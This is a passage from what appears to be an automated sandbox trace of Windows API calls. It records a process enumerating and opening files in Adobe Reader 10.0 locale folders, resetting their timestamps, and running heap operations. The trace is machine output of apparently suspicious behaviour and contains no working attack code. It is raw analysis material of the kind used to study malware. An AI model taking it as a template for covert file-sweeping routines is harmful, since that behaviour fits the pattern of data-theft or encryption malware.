ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLite.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807a3460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x832a21c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.POL", cAlternateFileName="")) returned 1 [0082.395] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0082.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289288 [0082.396] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0082.396] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0082.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.396] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0082.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.397] NtClose (Handle=0x174) returned 0x0 [0082.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1289288) returned 1 [0082.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289288 [0082.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289390 [0082.398] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0082.398] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.398] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x94c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289498 [0082.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c0e8 [0082.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12895a0 [0082.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.400] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c108 [0082.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12896a8 [0082.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0082.401] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.401] GetLastError () returned 0x12 [0082.402] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0082.402] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0082.402] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.402] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x94c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0082.402] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0082.402] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f4af00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0082.402] GetLastError () returned 0x12 [0082.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1289390) returned 1 [0082.402] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0082.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1289498) returned 1 [0082.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1289288) returned 1 [0082.402] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.POL", cAlternateFileName="")) returned 1 [0082.403] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5309e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.POL", cAlternateFileName="")) returned 1 [0082.403] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.POL", cAlternateFileName="")) returned 1 [0082.403] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831bd980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebLink.POL", cAlternateFileName="")) returned 0 [0082.403] GetLastError () returned 0x12 [0082.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.403] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0082.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x125ec28) returned 1 [0082.403] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.403] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0082.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.403] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0082.404] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0082.405] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0082.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1213ae8 [0082.405] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1213ae8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1213ae8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0082.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1213ae8) returned 1 [0082.405] NtClose (Handle=0x168) returned 0x0 [0082.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0082.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0082.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c7c0 [0082.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0082.406] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0082.408] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ec3e00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.408] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.PTB", cAlternateFileName="")) returned 1 [0082.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x125ec28 [0082.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c7c0) returned 1 [0082.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c128 [0082.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289288 [0082.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.410] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x69400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.PTB", cAlternateFileName="")) returned 1 [0082.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c148 [0082.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289498 [0082.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x6f00) returned 0x12a1c78 [0082.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x129adb0) returned 1 [0082.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.412] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.PTB", cAlternateFileName="")) returned 1 [0082.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c168 [0082.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1289390 [0082.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.413] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d93300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x79e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.PTB", cAlternateFileName="")) returned 1 [0082.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0082.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125c188 [0082.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12897b0 [0082.415] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0082.415] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.PTB", cAlternateFileName="")) returned 1 [0082.415] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, 